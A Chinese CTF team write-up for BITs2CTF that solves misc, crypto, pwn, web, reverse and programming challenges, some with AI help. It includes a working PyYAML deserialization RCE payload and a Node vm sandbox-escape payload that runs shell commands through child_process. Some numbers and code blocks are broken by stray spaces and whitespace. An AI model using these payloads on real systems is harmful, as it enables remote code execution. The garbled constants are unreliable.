战队名称

TRY

比赛排名

总分数：4515

学生组排名：10

总排名：10

战队成员

Elowen、张越

目录

Misc-签到 0

Misc-玄机在哪 0

Misc-Yaml 笑传之 CCB 0

Crypto-Are you crazy 1

Crypto-babyRSA 3

Crypto-easyAES 6

Crypto-remaining thing 7

pwn-签顺到 10

Web-1zvm 10

Reverse-ChaCha20 11

Reverse-Easy_maze 12

Reverse-math 14

Reverse-奶龙与小七之大战 Web Assembly 17

PPC-A.故障机器人 19

PPC-B.QwQwQwQ 21

Misc-签到

找一张带有北京理工大学校徽的图片上传，得到 flag

Misc-玄机在哪

1、第一步：将 txt 文本粘贴到 spammimic 网站解码

得到一串嗷呜……

2、第二步：使用兽语解码器解码，得到结果：

M=&AE<F5?:7-?9FQA9SI"251S,D-41GM":71?:$%V15]5;DQI;6E4141?4$]T

'16YT:4%,?0``

3、第三步：结合题目提示："UU" 在信息安全与邮件传输中对应 uuencode（邮件附件常用编码格式），对上一步得到的 uuencode 内容进行解码（在线网站），得到最终 flag

there_is_flag:BITs2CTF{Bit_hAvE_UnLimiTED_POtEntiAL

Misc-Yaml 笑传之 CCB

1、分析

程序是一个 YAML → JSON 转换器，源码中使用了：

yaml.load(user_input, Loader=Loader)

而不是安全的 SafeLoader。

Loader 实际上是 不安全反序列化：

支持 !!python/object/apply

支持任意 Python 调用

在解析阶段执行代码

因此可以通过构造恶意 YAML 触发 RCE。

2、构造 payload：

!!python/object/apply:os.system ['cat /home/ctf/flag']

3、进行 Base64 编码：

ISFweXRob24vb2JqZWN0L2FwcGx5Om9zLnN5c3RlbSBbJ2NhdCAvaG9tZS9jdGYvZmxhZydd

4、Ubuntu 连接服务器

nc

输入 Base64，即可执行命令并打印 flag

BITs2CTF{Y4mI_15_iN7rE55tlng_wHeN_C1asS_C0nv3R7_blInDIY_And_wA4OW4aO_w4ao70a60033b372!!!}

Crypto-Are you crazy

借助 AI 分析 Are you crazy.py，编写 exp 脚本
部分对话如下

1. 题目复现与整体结构

服务端给出的核心代码（节选）：

python 复制代码

```python
def parinad(n):
    return bin(n)[2:].count('1') % 2
```

2. 关键函数 vinad 的漏洞分析

2.1 parinad / vinad 的数学性质

`parinad(n)` 是 n 二进制里 1 的个数的奇偶性（parity）：

python 复制代码

```python
def parinad(n):
    return bin(n)[2:].count('1') % 2  # 结果只有 0 或 1
```

已知异或在奇偶性上的性质：

> 对任意整数 a,b，有
> **parity(a ⊕ b) = parity(a) ⊕ parity(b)**

因为逐位异或等价于 mod 2 的逐位加法。

`vinad(x, R)` 定义为：

```python
def vinad(x, R):
    return int(''.join(str(parinad(x ^ r)) for r in R), 2)
```

对每个 `r_i ∈ R`，
令 `px = parinad(x)`，`pr_i = parinad(r_i)`，则

```text
parinad(x ^ r_i) = px ⊕ pr_i
```

于是对固定的 `R`：

- 如果 `px = 0`，得到的比特串就是 `pr_0 pr_1 ... pr_{n-1}`
- 如果 `px = 1`，得到的比特串就是逐位取反 `1-pr_0, 1-pr_1, ... 1-pr_{n-1}`

也就是说：

> 对固定的 R，`vinad(x, R)` **无论 x 多大，只可能取两个值**：
> - "`V0`：由 `pr_i = parinad(R[i])` 拼成的二进制数"
> - "`V1`：`V0` 在 nbit 位宽下的逐位取反，即 `V1 = ((1<<nbit)-1) ^ V0`"

可以直接用公开的 R 算出 `V0, V1`，完全不需要知道随机的 r。

↓

3. 密钥生成中的致命问题

在 `genkey` 中：

```python
R = [getRandomNBitInteger(nbit) for _ in range(nbit)]
r = getRandomNBitInteger(nbit)

p = vinad(r, R)
q = getPrime(nbit)  # 独立随机的大素数

if isPrime(p):
    e = vinad(r + 0x10001, R)
    ...
    return (e, R, p*q)
```

由上面的分析知道：

- `p = vinad(r, R)` ∈ {V0, V1}
- `e = vinad(r+0x10001, R)` 也只能是 {V0, V1} 之一

所以有：

> 对给定的公开 R，**p 和 e 都只可能在两个已知数 {V0, V1} 中选。**

由此：

1. 我们可以用 R 计算出 V0、V1；
2. 再看 `n = p * q`，只要试一下 `n % V0 == 0` 或 `n % V1 == 0`，
   立刻就能知道 p 是哪个，q = n / p；

立刻就能知道 p 是哪个，q = n // p；

3. 不需要任何大整数因式分解算法，RSA 模数直接秒分解。

这就是本题最核心的设计漏洞：
攻击者可以从公钥 R 恢复私钥 p, q。

---

4. 恢复明文 m 的过程

加密函数：

```python
def encrypt(message, pubkey):
    e, R, n = pubkey
    return pow(message + sum(R), e, n)
```

设：

- S = sum(R)
- 明文 m = m1 * m2
- 密文 c = (m + S)^e mod n

解密时（给定正确 e,d）：

```python
base = pow(c, d, n)            # base ≡ m + S mod n
m = (base - S) % n
```

但题目没有给 e，只给了 R、n、c。
庆幸的是：我们已经知道：

> e 也 ∈ {V0, V1}，并且已经知道这两个数。

所以攻击步骤是：

1. 先通过 V0/V1 分解 n 得到 p, q；
2. 计算 φ(n) = (p-1)*(q-1)；
3. 遍历 e ∈ {V0, V1}，如果 gcd(e, φ)==1，则求逆元 d；
4. 用 d 解密，得到一个候选明文 `m_candidate = (c^d mod n - S) mod n`；
5. 由于只有一个 e 是正确的，另一个 m_candidate 只是随机大数。

在本题给出的数据下，运行后得到：

```text
BITs2CTF{d30f2f16df516c605d204dea2c5f2816<*_*>0f4491a5064d031e2bf271692c84034e}
```

这就是最终正确的 flag。

Crypto-babyRSA

1、分析（借助 AI）

1. 利用连续素数，Fermat 分解 N

构造：`p = nextprime(secret_num)`，`q = nextprime(p)`，**p、q 是相邻素数**，差值非常小（大约 O(log N) 级别）。

这种情况下，适合用 **Fermat 分解**：

- 令 $a = \lceil \sqrt{N} \rceil$
- 不断令 $b^2 = a^2 - N$，检查 b^2 是否为完全平方
- 若是，则：

$$p = a - b, \quad q = a + b$$

对题目给的 N 跑 Fermat 会立刻成功，得到：

- p, q（两者只差 1038，确实非常接近）

---

2. 标准 RSA 逆运算，解出 c1, c2

有了 p、q，先算：

$$\varphi(N) = (p-1)(q-1)$$

$$d \equiv e^{-1} \pmod{\varphi(N)}$$

然后用私钥解密：

```python
c1 = pow(m1, d, N)
c2 = pow(m2, d, N)
```

得到的就是脚本中未加密前的：

- `c1 = F1 + F2`
- `c2 = F1^3 + F2^3`

3. 用代数关系从 c1, c2 求 F1, F2

利用立方和公式：

$$F_1^3 + F_2^3 = (F_1 + F_2)^3 - 3F_1F_2(F_1 + F_2)$$

代入记号：

- $c_1 = F_1 + F_2$
- $c_2 = F_1^3 + F_2^3$
- 令 $P = F_1F_2$

则：

$$c_2 = c_1^3 - 3Pc_1 \Rightarrow P = \frac{c_1^3 - c_2}{3c_1}$$

算出 P 后，F1、F2 是一元二次方程的两个根：

$$x^2 - c_1x + P = 0$$

判别式：

$$D = c_1^2 - 4P$$

实际算出来 D 是完全平方数，令 $b = \sqrt{D}$，则：

$$F_1 = \frac{c_1 + b}{2}, \quad F_2 = \frac{c_1 - b}{2}$$

4. 数字转字节串，拼出 flag

用 long_to_bytes 还原为字节串：

F1_bytes = long_to_bytes(F1)

F2_bytes = long_to_bytes(F2)

实际结果为：

一组：b'_asdasfasqwe_dmqwo}'（19 字节）

另一组：b'BITs2CTF{isjna_cask'（19 字节）

根据题中：

flag1 = flag[:half]

flag2 = flag[half:]

F1 = bytes_to_long(flag1)

F2 = bytes_to_long(flag2)

且 flag 一定以 BITs2CTF{ 开头，所以：

flag = "BITs2CTF{isjna_cask_asdasfasqwe_dmqwo}"

Crypto-easyAES

1、漏洞分析

AES key 只有 2 字节随机

key = os.urandom(2) * 16

本意是生成 AES-256 key（32 字节），但实际做法是：

先生成 2 字节（16-bit）

重复 16 次（得到 32 字节 key）

这样 key 的实际熵为：

2 bytes = 16 bits = 65536 种可能

AES-256 的安全性完全被破坏，可直接暴力。

2、把 s 取 0~65535 枚举即可获得所有可能 key，注意：IV 需要截断

3、构造思路

枚举所有 65536 个 key_seed

构造 AES key

根据 A 计算 iv（取后 16 字节）

尝试解密

查找 FLAG 格式：BITs2CTF{…}

4、代码

```
from Crypto.Cipher import AES
from Crypto.Util.number import *

A = 5475542603897808646031074731699455656312634115725326664792051438714848070914 0
ciphertext = bytes.fromhex("4b043f27c13ce015d2698bb122393f291ab329d661fa9c842a0f69f7a485d21d")

for s in range(65536):
    key_seed = s.to_bytes(2, 'big')
    key = key_seed * 16

    key_long = bytes_to_long(key)
    iv_long = key_long ^ A
    iv = long_to_bytes(iv_long, 32)[-16:]
```

```
aes = AES.new(key, AES.MODE_CBC, iv)
m = aes.decrypt(ciphertext)

# 去掉 padding
pad = m[-1]
if 1 <= pad <= 16 and m.endswith(bytes([pad]) * pad):
    m = m[:-pad]

# 查找 flag
if b"BITs2CTF{" in m:
    start = m.find(b"BITs2CTF{")
    end = m.find(b"}", start)
    flag = m[start:end+1]
    print("FLAG =", flag.decode())
    break
```

FLAG = BITs2CTF{sjcihd_enf_huidjx_hsid}

Crypto-remaining thing

Hastad Broadcast Attack（e=3 广播攻击）

1. 用 CRT 合并出 m^3

对下面这个同余组做 **中国剩余定理（CRT）**：

$$\begin{cases} X \equiv C_1 \pmod{N_1} \\ X \equiv C_2 \pmod{N_2} \\ X \equiv C_3 \pmod{N_3} \end{cases}$$

得到一个唯一解 `X`（模 `N1*N2*N3`）：

- 这个 `X` 实际上就是 **m^3 在大模数上的表示**；
- 又因为明文 m 足够小，满足 `m³ < N1 * N2 * N3`，所以：

$$X = m^3$$

2. 对 X 取整数立方根

接下来只要求：

$$m = \sqrt[3]{X}$$

取 **整数立方根** 即可恢复明文 m。

3. 把 m 转成字符串

- 把整数 m 转为字节序列，再按 UTF-8 解码：
- 就能看到 flag：

```
from math import prod

N1 = 19831146070473780450608271965513333016477420167810804693209535211751519378798100050738385201161854775668250184491612993710844933532155638787045219486707787420282058177611838960790320734624809796310926894615507014393905439164108305343147056285187048 03
C1 = 13192445407076444144417541514427188094854353253584529650871742429298429176122106888115309616831240701274243771913770298764454625711248881032556304446303580561665126886670936043604468812024111116443358272674121554396071146617853939756537893431091839 55
N2 = 66111404265300574613935728983655950688111510106384565086238514901421964133746188531859108773677252707542147423426687722933483143467420638917923485639731545533291089547341393165686480533491924103483747009620183498000762679606287593577239113476062047 33
C2 = 41998123843875621116729989501531316956049116280732482300490270393719879500976089055100523216197820417935038248527006621265771328125158252787890936500616657191006849984874487887897908316503588758727613717876734500568394557092081398962537850559205431 04
N3 =
```

```
14126749535297606509514418674348551918358936748316341471639452521057767873962355396372423101375036984635365376397773384541330304056627522956980062104259147867100357268271782395123516284699902354599667106061620180566549332990378692446782196699116141 17
C3                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                
C3 =
4166302645280036634408411617418050423655570508050518487720408643121613870720900274584146738355988616063031764515988172971348800237604645253610288435108772191651156927479743851176000265117463877466341851549147172873342334942930112616237903193026921 24

def crt(remainders, moduli):
    N = prod(moduli)
    x = 0
    for r, n in zip(remainders, moduli):
        m = N // n
        inv = pow(m, -1, n)        # 计算 m 在模 n 下的逆元
        x = (x + r * m * inv) % N
    return x

X = crt([C1, C2, C3], [N1, N2, N3])   # 得到 m^3

# 整数立方根（二分法）
def iroot3(n):
    lo, hi = 0, 1
    while hi**3 <= n:
        hi <<= 1
    while lo < hi:
        mid = (lo + hi) // 2
        if mid**3 <= n:
            lo = mid + 1
        else:
            hi = mid
    return lo - 1

m = iroot3(X)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()

print(flag)   # BITs2CTF{^_^cRVni_aXinSsd_fJnebvooo^_^}
```

pwn-签顺到

1、第一步：查看本地附件并分析程序

解压题目提供的压缩包 道具.tar.gz。进入 src/ 目录，找到程序 pwn

使用 IDA 对程序反编译

逆向得出的密码：f8fqgfm

2、在 Ubuntu 中使用 nc 连接远程端口

nc 127.0.0.1 44379

程序输出 banner，并要求输入口令：

请输入弹幕文本：

>

3、输入正确口令，获取 /bin/sh

f8fqgfm

成功进入容器的 /bin/sh

4、读取 flag

cat /flag

BITs2CTF{TH4Nks_10R_81Ts_fl4G_houhoUh0u_258494968191_GO0D_6Ro7HERS_We_Areh0UH0UHOU}

Web-1zvm

在线 NodeJS Shell 沙箱逃逸

1、首先测试当前执行环境中的对象

输入 this——返回：[object Object]

说明此处的执行上下文不是 Node 全局 global，而是 VM 沙箱中的一个普通对象。尽管如此，其原型链仍然是：this → Object → Function

2、构造思路 AI

利用思路

Node 的 `vm` 模块并不能完全隔离构造器链。我们可以通过以下链子逃逸：

1. `this.constructor` → `Object`
2. `this.constructor.constructor` → `Function`
3. `Function('return process')()` → 返回真实 Node 进程对象
4. 利用 `process.mainModule.require('child_process')` 加载模块
5. 通过 `execSync('cat /flag')` 执行系统命令拿到 flag

这是 Node 沙箱逃逸的常用利用方式。

3、输入 Payload

this.constructor.constructor('return process')().mainModule.require('child_process').execSync('cat /flag').toString()

成功执行

BITs2CTF{f5c82592-c05e-4a96-bed5-92627223a3d5}

Reverse-ChaCha20

1、分析

题目给出了三个数据：k1、n1、加密后

chacha20.pyc 文件

第一步需要对 pyc 文件进行反编译。

2、逆向 pyc 文件

3、解密脚本

代码

from Crypto.Util.number import long_to_bytes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
from cryptography.hazmat.backends import default_backend
import random
 	
k1 = 89156737880809474145449532029493055444849328922741582677584755390029529653680
n1 = 209794022060737284785334570850445075 92
ct_hex = "a8c123f27ed9d34a6040a98f0b9d5e22930ca34bd3195e27a1e73725aba2f3eff888"
ct = bytes.fromhex(ct_hex)
 	
for seed in range(100):
  random.seed(seed)
  k2 = random.getrandbits(128)
  n2 = random.getrandbits(64)
 	
  key = long_to_bytes(k1 ^ k2)[-32:]
  nonce = long_to_bytes(n1 ^ n2)[-16:]
 	
  try:
  cipher = Cipher(algorithms.ChaCha20(key, nonce), mode=None,

```
backend=default_backend())
            dec = cipher.decryptor().update(ct)
            if dec.startswith(b"BITs2CTF{"):
                print(f"[+] Found seed = {seed}")
                print("[+] Flag =", dec.decode())
                break
      except:
            pass
```

BITs2CTF{pyc_reverse_is_important}

Reverse-Easy_maze

1、反编译

maze.exe 放到 IDA 中反编译

反编译，查看 main 函数

2、分析代码逻辑

main 以及内部引用的函数，Maze::ifchar、Maze::checkend

Left、right、down、up、front、back

3、破解思路

1）解析迷宫布局（27 个点 + 起点 (0,0)）。

2）解析每个字符对应的动作序列。

3）用 DFS 构造一个搜索器：

- 输入字符 → 执行动作 → 更新坐标
- 坐标必须合法、未访问且为迷宫 1

4）搜索深度 = 27，要求恰好访问全部 27 个 1 格子，不重复。

5）找到唯一满足全部条件的字符序列。

代码

```
from collections import deque

# 迷宫点
cells = set([
  (0,4),(0,7),(0,11),(0,17),(0,20),(0,26),
  (1,9),(1,13),(1,20),(1,23),(1,33),
  (2,10),(2,15),(2,18),(2,23),(2,32),
  (3,8),(3,9),(3,10),(3,23),(3,25),(3,32),
  (4,8),(4,23),(4,32),
  (5,28),(5,35)
```

```
])

# 动作定义
def apply(a,b,ops):
    for op in ops:
        if op == "up": a += 1
        elif op == "down": a -= 1
        elif op == "left": b -= 1
        elif op == "right": b += 1
        elif op == "front": b -= 6
        elif op == "back": b += 6
    return a,b

# 字符动作表
char_ops = {
    'A':["up","left","front"], 'B':["up","front"], 'C':["up","right","front"],
    'D':["up","left"], 'E':["up"], 'F':["up","right"],
    'G':["up","left","back"], 'H':["up","back"], 'I':["up","right","back"],

    'J':["left","front"], 'K':["front"], 'L':["right","front"],
    'M':["left"], 'N':["right"], 'O':["left","back"],
    'P':["back"], 'Q':["right","back"],

    'R':["down","left","front"], 'S':["down","front"], 'T':["down","right","front"],
    'U':["down","left"], 'V':["down"], 'W':["down","right"],
    'X':["down","left","back"], 'Y':["down","back"], 'Z':["down","right","back"],
}


# BFS/DFS 搜索
start = (0,0)
target_cnt = len(cells)

from functools import lru_cache

@lru_cache(None)
def dfs(a,b,remaining, path):
```

```
    if remaining == 0:
        return path

    rem = set()
    for t in cells:
        if t != (a,b) and ((a,b)!=start):
            rem.add(t)

    for ch,ops in char_ops.items():
        na,nb = apply(a,b,ops)

        # must be inside maze
        if not (0 <= na <= 5 and 0 <= nb <= 35):
            continue

        # must step on a remaining cell
        if (na,nb) not in cells:
            continue

        new_remaining = remaining - 1 if (na,nb) in rem else remaining

        res = dfs(na,nb, new_remaining, path + ch)
        if res:
            return res

    return None

print("Searching...")
res = dfs(0,0, target_cnt, "")
print(res)
```

BITs2CTF{QHGIIVVWRKECAEWNVUTQPHEEEGQ}

Reverse-math

1、反编译

math.exe 用 IDA 反编译

查看 main

2、分析函数

找到 judge 函数

分析 judge / fun1 / fun2 / fun3 / fun4 函数逻辑

3、求解

编写 solve_math.py 求解脚本

代码

```
# solve_math.py

MOD = 0xE8329    # 951081

def main():
    solutions = []

    # 1. 从 (d - e = 68778) 和 (2d + e = 1952901) 解 d,e
    #    手算 / 符号解都可以，这里直接用推出来的公式：
    #    d = (1952901 + 68778) / 3
    d = (1952901 + 68778) // 3
    e = d - 68778

    print(f"[+] d = {d}, e = {e}")

    # 2. 枚举 f，利用 (4f) ^ d = 1161537 和 a + f = 1136538
    target_xor = 1161537

    for f in range(100000, 1000000):
        if ((4 * f) ^ d) != target_xor:
            continue

        a = 1136538 - f
        if not (100000 <= a <= 999999):
            continue

        # 3. 利用 (a + b) % MOD = 597141 和 a - b + 2c = 1644082 解 b,c
        for k in range(3):    # a + b 可能是 597141, 597141+MOD, 597141+2*MOD ...
            s = 597141 + k * MOD        # s = a + b
```

```
            b = s - a
            if not (100000 <= b <= 999999):
                continue

            rhs = 1644082 - a + b        # 2c = 1644082 - a + b
            if rhs % 2 != 0:
                continue
            c = rhs // 2
            if not (100000 <= c <= 999999):
                continue

            # 4. 再用简化后的 v1~v6 检查一遍，防止推导出错
            v1 = (a + b) % MOD
            t1 = a - b
            t2 = 2 * c
            v2 = t1 + t2
            t3 = 4 * f
            v3 = t3 ^ d
            t4 = d - e
            v4 = 5 * t4
            v5 = a + f
            t5 = 3 * d
            v6 = t5 - t4

            if (v1, v2, v3, v4, v5, v6) == (597141, 1644082, 1161537, 343890,
1136538, 1952901):
                solutions.append((a, b, c, d, e, f))

    if not solutions:
        print("[-] No solution found")
        return

    # 题目应有唯一解
    a, b, c, d, e, f = solutions[0]
    print("[+] Solution:")
    print(f"a = {a}")
    print(f"b = {b}")
```

```
    print(f"c = {c}")
    print(f"d = {d}")
    print(f"e = {e}")
    print(f"f = {f}")

    # flag 格式：BITs2CTF{%x%x%x%x%x%x}
    hex_concat = "".join(f"{x:x}" for x in (a, b, c, d, e, f))
    flag = f"BITs2CTF{{{hex_concat}}}"
    print("[+] Flag:")
    print(flag)


if __name__ == "__main__":
    main()
```

BITs2CTF{a5b51d446ddffa7a486593bbb6fc49}

Reverse-奶龙与小七之大战 Web Assembly

1、ubuntu 解压奶龙大电影.tar.gz
tar -xzvf 奶龙大电影.tar.gz
2、分析
本题目为 javascript & wasm 相关逆向
check.wasm
3、使用 wasmtime 逆向爆破
编写一个 Python 版 wasm 爆破

solve.py

```
from wasmtime import Store, Module, Instance


enc = [
    75,66,89,124,51,64,81,65,98,76,46,46,32,76,113,39,71,24,12,112,
    120,19,80,0,79,8,98,10,68,80,86,4,124,126,43,58,112,114,60,24,
    61,104,59,108,101,100,102,51,54,92,5,92,62,91,81,87,65,79,77,78,
    65,29,67,40,189,229,233,208,233,178,176,216,206,175,168,242,236,
```

```
]


# 加载 wasm
store = Store()
module = Module.from_file(store.engine, "check.wasm")
instance = Instance(store, module, [])
check = instance.exports(store)["check"]


flag = ""


# 枚举可见 ASCII 字符
for i in range(len(enc)):
    found = None
    for ch in range(32, 127):    # visible ASCII range
        if check(store, i, ch, enc[i]) == 1:
            found = chr(ch)
            flag += found
            print(found, end="", flush=True)
            break
    if found is None:
        flag += "?"
        print("?", end="", flush=True)


print("\nFLAG =", flag)
```

FLAG =
BITs2CTF{W311_d0n3!_Y0u'v3_5ucc355fu11y_d3f3473d_7h3_84084010n6_4nd_h

15_W45m}

PPC-A.故障机器人

借助 AI 分析题目，自己编写求解代码

✅ 题意分析（Problem Analysis）

场上有 n 只异鸟，第 i 只的血量为 a_i。
战斗为回合制，每回合过程：

1. **回合开始时**，机器人对"血量最低"的异鸟造成 3 点伤害（若 ≤0 则立刻死亡）
2. **回合结束时**，所有未死亡的异鸟对机器人各造成 1 点伤害

假设机器人血量无限，不会死亡，求战斗全程机器人受到的总伤害。

🔍 核心观察（Key Insight）

每回合机器人只攻击 **1 只当前血量最低的异鸟**。
但反击伤害由 **当前所有存活的异鸟** 一起造成。

因此：

> **机器人受到的伤害 = 所有回合中"存活异鸟数量"的总和**

为了计算每只异鸟活了多少回合，我们需要知道它在第几回合死亡。

🧠 真正的关键：怪物死亡时间

设异鸟血量为 a_i，每次受到 3 点伤害，因此它会被攻击：

$$c_i = \left\lceil \frac{a_i}{3} \right\rceil$$

次后死亡。

但注意机器人必须 **每回合优先打当前最小血量的怪**。

因此如果按照血量升序排序：

$$b_1 \le b_2 \le \cdots \le b_n$$

则：

- 第 1 只怪的死亡回合：

$$d_1 = c_1$$

- 第 2 只怪的死亡回合：

$$d_2 = c_1 + c_2$$

- 第 3 只怪：

$$d_3 = c_1 + c_2 + c_3$$

代码

```
#include <bits/stdc++.h>
using namespace std;

int main() {
    ios::sync_with_stdio(false);
    cin.tie(nullptr);

    int n;
    cin >> n;
    vector<long long> a(n);
    for (auto &x : a) cin >> x;
    sort(a.begin(), a.end());

    long long dmg = 0;
    long long prefix = 0;

    for (long long x : a) {
        long long c = (x + 2) / 3;    // ceil(x/3)
        prefix += c;
        dmg += prefix - 1;            // this monster contributes prefix-1 damage
    }

    cout << dmg << "\n";
    return 0;
}
```

PPC-B.QwQwQwQ

借助 AI 分析题目，自己编写求解代码

题目给定一个仅包含小写字母的字符串 s。
每次操作将 **字符串中所有的** `q` **同时替换为** `qwq`，其余字符保持不变。
执行 k 次操作后，需要回答第 x 个字符是什么；如果越界则回答 `'0'`。

由于 k, x 最大可达 10^9，最终字符串长度可能远超可计算范围，因此必须寻找替换后的规律，而不能真正生成字符串。

---

2. 关键规律

2.1 单独分析一个字符 `q` 的膨胀行为

对 `q` 连续进行替换：

k	替换结果	长度
0	`q`	1
1	`qwq`	3
2	`qwqwqwq`	7
3	`qwqwqwqwqwqwqwq`	15

可以看出：

- 结构始终是 **q w q w q w ... q** 交替
- 第 k 次操作后的长度满足：

$$\text{len}_k = 2^{k+1} - 1$$

因此，`q` 被替换为 **长度指数增长的结构**，但形式非常规律：奇数位是 `'q'`，偶数位是 `'w'`。

2.2 非 `q` 字符永远不变化

任何字符 `c ≠ 'q'`：

- 始终保持自身
- 对总长度贡献为 **1**

最终字符串由 `s` 中各字符的映射依次拼接组成。

---

3. 查询 (k, x) 的求解方法

对每个询问，我们从初始串 s 开始扫描：

若 s[i] ≠ 'q'：

- 若 $x = 1$，答案就是 `s[i]`
- 否则 $x--$

若 s[i] 是 `q`：

该 `q` 在 k 次操作后变成一段长度：

$$L = \text{len}_k = 2^{k+1} - 1$$

- 若 $x > L$，跳过该段：$x- = L$
- 若 $x \le L$，则答案在此展开段内：
  - 展开结构是 **奇数位 = `'q'`，偶数位 = `'w'`**

$$x \text{ 是奇数} \Rightarrow' q'$$
$$x \text{ 是偶数} \Rightarrow' w'$$

---

4. 大数优化

由于 $k \le 10^9$：

- 当 $k > 60$ 时，长度已经远超所有可能的 $x \le 10^9$。
- 因此可安全执行：

```cpp
if (k > 60) k = 60;
```

并预处理 `lenq[0…60]`。

---

5. 正确性验证

与样例完全匹配：

示例 1

`s = oiiai` 不含 `q`，任何 k 都不改变结果。

- (1,6) → 越界 → `0`
- (3,4) → `'a'`

输出 `0a` ✓

示例 2

`s = qqnt`

- `k=1`：每个 q 长度 3，总长 8
- `k=2`：每个 q 长度 7，总长 16

输出 `nq0` ✓

代码

```
#include <bits/stdc++.h>
using namespace std;

using ll = long long;
const ll INF = (ll)4e18;

ll lenq[61];     // lenq[k] = 长度(一个 q 经过 k 次操作后)

int main() {
    ios::sync_with_stdio(false);
    cin.tie(nullptr);

    string s;
    if (!(cin >> s)) return 0;
    int m;
    cin >> m;

    // 预处理 lenq
    lenq[0] = 1;
    for (int i = 1; i <= 60; ++i) {
        if (lenq[i - 1] > (ll)2e18) lenq[i] = INF;
        else lenq[i] = min(INF, 2 * lenq[i - 1] + 1);
    }

    string ans;
    ans.reserve(m);
```

```
while (m--) {
    ll k, x;
    cin >> k >> x;

    if (k > 60) k = 60;     // 之后长度已经远远超过所有可能的 x

    bool found = false;

    for (char c : s) {
        if (c != 'q') {
            if (x == 1) {
                ans.push_back(c);
                found = true;
                break;
            } else {
                --x;
            }
        } else {
            ll L = lenq[k];     // 这一段的总长度
            if (x > L) {
                x -= L;             // 整段跳过
            } else {
                // 在这一段内部，模式是 q w q w ... q
                if (x % 2 == 1) ans.push_back('q');
                else                ans.push_back('w');
```

```
                found = true;
                break;
            }
        }
    }

    if (!found) ans.push_back('0');
  }

  cout << ans << '\n';
  return 0;
}
```